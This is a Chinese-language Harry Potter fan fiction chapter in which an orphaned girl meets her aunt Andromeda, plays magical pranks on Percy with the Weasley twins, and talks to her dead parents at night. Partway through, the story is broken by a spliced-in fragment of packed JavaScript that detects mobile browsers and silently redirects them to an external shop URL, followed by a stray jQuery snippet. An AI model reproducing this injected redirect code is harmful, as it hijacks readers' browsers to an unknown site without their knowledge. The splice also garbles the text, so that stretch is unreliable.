四岁。夏天。
安多米达·唐克斯站在自家花园门口,看着一个深红色头发的小女孩从莫莉·韦斯莱身后探出头来。
“这就是她?”安多米达蹲下身,浅褐色的眼睛仔细打量面前的女孩。她的五官更柔和,头发是深棕色的,整个人有一种经过岁月打磨之后的温润。但笑起来时眼角弯起的弧度,和罗莎莉娅一模一样。
“我是安多米达。你妈妈的表妹。你的表姨母。”
费迪娅歪头看她,从口袋里掏出那张照片,指了指罗莎莉娅:“你是妈妈的表妹?那妈妈是你的什么?”
“姐姐。表姐。我最喜欢的表姐。”她说这句话时声音很轻,然后站起身,牵起费迪娅的手走进花园。
那天的阳光很好。安多米达在花园里给费迪娅看了很多照片——有她、罗莎莉娅和纳西莎小时候在布莱克家老宅花园里拍的,三个女孩穿着一样的黑色长袍,表情却截然不同:贝拉站在最前面,双手叉腰,一副唯我独尊的模样;安多米达站在旁边,笑容温柔;纳西莎躲在贝拉身后,手紧紧抓着贝拉的袍角。还有一张是小天狼星和罗莎莉娅的合照——两个人都大概十一二岁,小天狼星冲镜头做鬼脸,罗莎莉娅在旁边无奈地笑着。
“你认识他吗?”安多米达指着小天狼星问。
费迪娅摇头。
“他是你的舅舅。你妈妈的亲弟弟。他来看过你几次,但你那时候太小了。”
费迪娅盯着那张做鬼脸的脸看了很久。“他看起来很好笑。”
安多米达笑了出来。“是的,他就是那样的人。”
临走时,安多米达送给她一朵刚从花园里摘的鸢尾花,别在她耳边。“这是罗莎莉娅最喜欢的花。她以前在格里莫广场的花园里偷偷种过一丛,被沃尔布加姑妈拔掉了。她不生气,第二天又种了一丛。”
费迪娅摸了摸耳边的花,忽然问:“她也会来看我吗?”
安多米达愣了一下,才反应过来她在说纳西莎。
“……也许不会。你的表姨母纳西莎嫁给了卢修斯·马尔福。马尔福家族和凤凰社站在不同的一边。她不会来的。但这不是你的问题,也不是你妈妈的问题。这是她自己选的路。”
费迪娅沉默了一会儿,点了点头,像是把这件事存进了某个角落。“那另一个呢?贝拉?”
安多米达的表情变了。嘴角的笑意淡了一点,眼底的温度凉了几分。但她没有回避。
“贝拉特里克斯·莱斯特兰奇。她选择了追随伏地魔。就是那个人——害死你父亲和叔叔的那些人,是他的追随者。贝拉是其中一个。”
花园里安静了几秒。一只蝴蝶停在鸢尾花上,翅膀一开一合。
“她伤害过你吗?”费迪娅问。
安多米达没有回答这个问题。她只是伸出手,把费迪娅耳边那朵鸢尾花重新别好。“你是罗莎莉娅的女儿,也是普威特家的孩子。你有天底下最勇敢的父亲和叔叔。你有韦斯莱家所有人。你有小天狼星和雷古勒斯——你的两个舅舅。你有我。”她把费迪娅的手拉起来,放在自己的手心里,握紧,“你会好好的。不管贝拉是谁,不管伏地魔是谁,你都会好好的。”
费迪娅低头看着两只握在一起的手,忽然说了一句让安多米达眼眶发酸的话。
“表姨母,你手好暖。”
安多米达把她拉进怀里,抱了很久。她想起上一次这样抱一个人,还是很多年前,罗莎莉娅站在格里莫广场的门廊上对她说“去你想去的地方,做你想做的人”。那天的夜色很浓,罗莎莉娅的手和现在她怀里这个女孩的手一样暖。
布莱克家的血脉或许冰冷,但总有一些人,选择了不一样的温度。
……
五岁。
德文郡,奥特里-圣卡奇波尔村外。
盛夏。
“准备好了吗?”
弗雷德·韦斯莱趴在草丛里,屁股撅得老高,手里攥着一根从后院捡来的枯树枝——他坚称那是他的魔杖,虽然它只是一根普通得不能再普通的枯树枝。
“准备好了!”乔治趴在他左边,同样撅着屁股,同样攥着一根树枝。
“准备好了。”费迪娅趴在他们俩中间,手里没有任何树枝。她不需要。她早就发现,她想让什么东西动的时候,它就会动。
目标是珀西·韦斯莱在苹果树下堆的那一摞整齐得令人发指的课本。珀西花了整个下午把课本按照科目、大小和颜色排列好,最上面放了一张纸条,写着“请勿触碰——珀西瓦尔·伊格内修斯·韦斯莱”。弗雷德认为,这张纸条本身就是一种邀请。
“听我指挥。”弗雷德压低声音,“三、二、一——发射!”
三根树枝同时指向那摞课本。费迪娅闭上一只眼睛,对准目标,在心里想象那摞书自己跳起来的样子。那股熟悉的、痒痒的暖流从肚子里往上窜,顺着手臂涌向指尖——
课本全都活了过来。
它们飞了起来,像一群被惊扰的鸽子,在空中翻了几圈,然后一本接一本地张开封面,开始绕着苹果树飞翔。《初级魔咒入门》撞上了《魔法史概论》,两张书页在半空中纠缠在一起。
那本被珀西用银色墨水写了名字的变形术课本最为活跃,在空中翻了个筋斗,一头扎进后院的雨水桶里。
“梅林的裤子!”弗雷德惊叫,“乔治,你看见了吗——”
“我叫费迪娅。”费迪娅平静地说。
“——费迪娅,你看见了吗,那本书自己飞进水桶里了!”
“我看见了。”费迪娅依然平静,但嘴角那个小小的弧度说明她对自己的成果相当满意,“珀西会不高兴的。”
“管他高不高兴,这太酷了!快教教我——你是怎么让它们像鸟一样飞的?我最多只能让一本书飘三秒钟!”
乔治也站了起来,但他没有弗雷德那么兴奋。他低头看着费迪娅,目光里有一种和年龄不太相称的思索。“你是不是天生就会?就像上次,你让弗雷德吃的饼干自己飞回盘子里,弗雷德追着饼干跑了半个厨房。”
“那是我还没吃饱。”费迪娅难得地笑了一下,露出两颗刚换出来的门牙之间的缝,“而且他跑起来很好笑。”
“嘿!”弗雷德抗议。
但讨论没能继续,因为珀西从前门走了出来。他看着满院子乱飞的课本,至少三本在水桶里游泳,一本正试图把自己嫁接到苹果树上去。他的嘴张开又合上,脸色从白到粉,从粉到红,最后停在一个介于“我要晕倒”和“我要杀人”之间的颜色。
“弗雷德!乔治!还有费迪娅——尤其是你!”
“为什么尤其是我?”费迪娅语气无辜。
“因为你才是那个有本事的人!”
弗雷德和乔治同时站到费迪娅面前,一左一右,像两个矮墩墩的护卫。“你不能骂她。”“就是,她是我们的妹妹。”“你如果骂她,我们就告诉妈妈你上周偷了她的魔杖想提前练习变形术。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739621|209087||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>珀西的脸僵住了。“你们不会。”
“我们会。”费迪娅从他俩中间探出头,“除非你现在帮我们把书捞回来,并且不告密。”
花园安静了三秒。珀西的表情经历了否认、愤怒、讨价还价、沮丧,最终停在第五个阶段——他已经习惯了。“……你们这群小混蛋。”他恶狠狠地说,然后撸起袖子走向雨水桶。
费迪娅站在苹果树下,看着最大的哥哥狼狈地捞书,看着双胞胎在一边笑得直不起腰,看着苹果树上的苹果被魔法书的翅膀撞掉了三颗,一颗滚到她脚边。她捡起来咬了一口。很甜。
……
还是五岁。
冬天。
陋居阁楼。
一个下着大雪的夜晚。双胞胎早就在床上睡得不省人事——白天在外面堆了三个小时雪人,又用雪球追打珀西追了至少一个钟头,现在像两只被放完气的魁地奇球一样瘫在床上。
但费迪娅没有睡。
她一个人裹着毯子,坐在阁楼的窗台上,对着窗外的雪夜说话。从三岁那年开始,对着星星说话就成了她的习惯。后来扩展到对着月亮,对着云,对着窗玻璃上的冰花。
“今天珀西说我是‘有本事的人’。”她轻声说,呼出的白气在玻璃上凝成一片雾,“我觉得那是他的表扬,虽然听起来不太像。后来我把书都晾干了,重新排好,他就不生气了。”
窗外只有风吹过烟囱的呼啸声。
“唐克斯姨妈给了我一张妈妈的照片。不是阁楼上那张。这张上面只有她自己,她年轻的时候。她穿了一条蓝色的裙子,手里拿着一本书。”她皱了皱眉,为自己记不住那本书的名字而有点不高兴。“唐克斯姨妈说,妈妈是从很远很远的地方来的。她在书里读到了爸爸和吉迪翁叔叔,就决定过来找他们了。”
她把毯子裹得更紧了一些。
“我觉得妈妈很厉害。她能从那么远的地方来,一定是用了很强的魔法。我以后也要学很强的魔法。所有的魔法。好的坏的都学。好的用来帮莫莉妈妈做家务,坏的用来打那些害我爸爸和叔叔的人。”
雪下得更大了。她对着那片白茫茫的夜色眨眨眼,声音变得更轻,轻得像在说悄悄话。
“晚安,爸爸。晚安,吉迪翁。晚安,妈妈。我今天也很好。”
阁楼的楼梯口,莫莉悄无声息地退了回去。她本来想上来找圣诞装饰,却在踏进阁楼前听到了那串自言自语。她悄悄走下楼梯,回到厨房。亚瑟正坐在餐桌边修理一台麻瓜收音机。
“她刚才在阁楼上一个人说话。”莫莉轻声说,“和费比安,和吉迪翁。和罗莎莉娅。”
亚瑟放下螺丝刀,沉默了几秒。“她五岁了。”
“是的。”莫莉在桌边坐下,双手交握在膝盖上,指节微微发白,“她五岁,父母双亡,每天晚上对着星星说晚安。亚瑟,我想让她开心。我太想让她开心了。”
厨房安静了一会儿。收音机在亚瑟手下发出一个细微的爆裂声,忽然唱起了一首麻瓜老歌,歌声沙哑而温柔。
“……她已经很开心了。”亚瑟坐过去拉住莫莉的手,“她有你,有我,有七个兄弟姐妹。她每天晚上对星星说话,不是因为不开心,是因为她想让他们知道——她还活着,她活得很好。”
莫莉没有抬头,但反手握住了他的手。
窗外的雪还在下。阁楼上的那盏小灯还亮着,在漆黑的冬夜里像一颗低垂的、守夜的星星。
……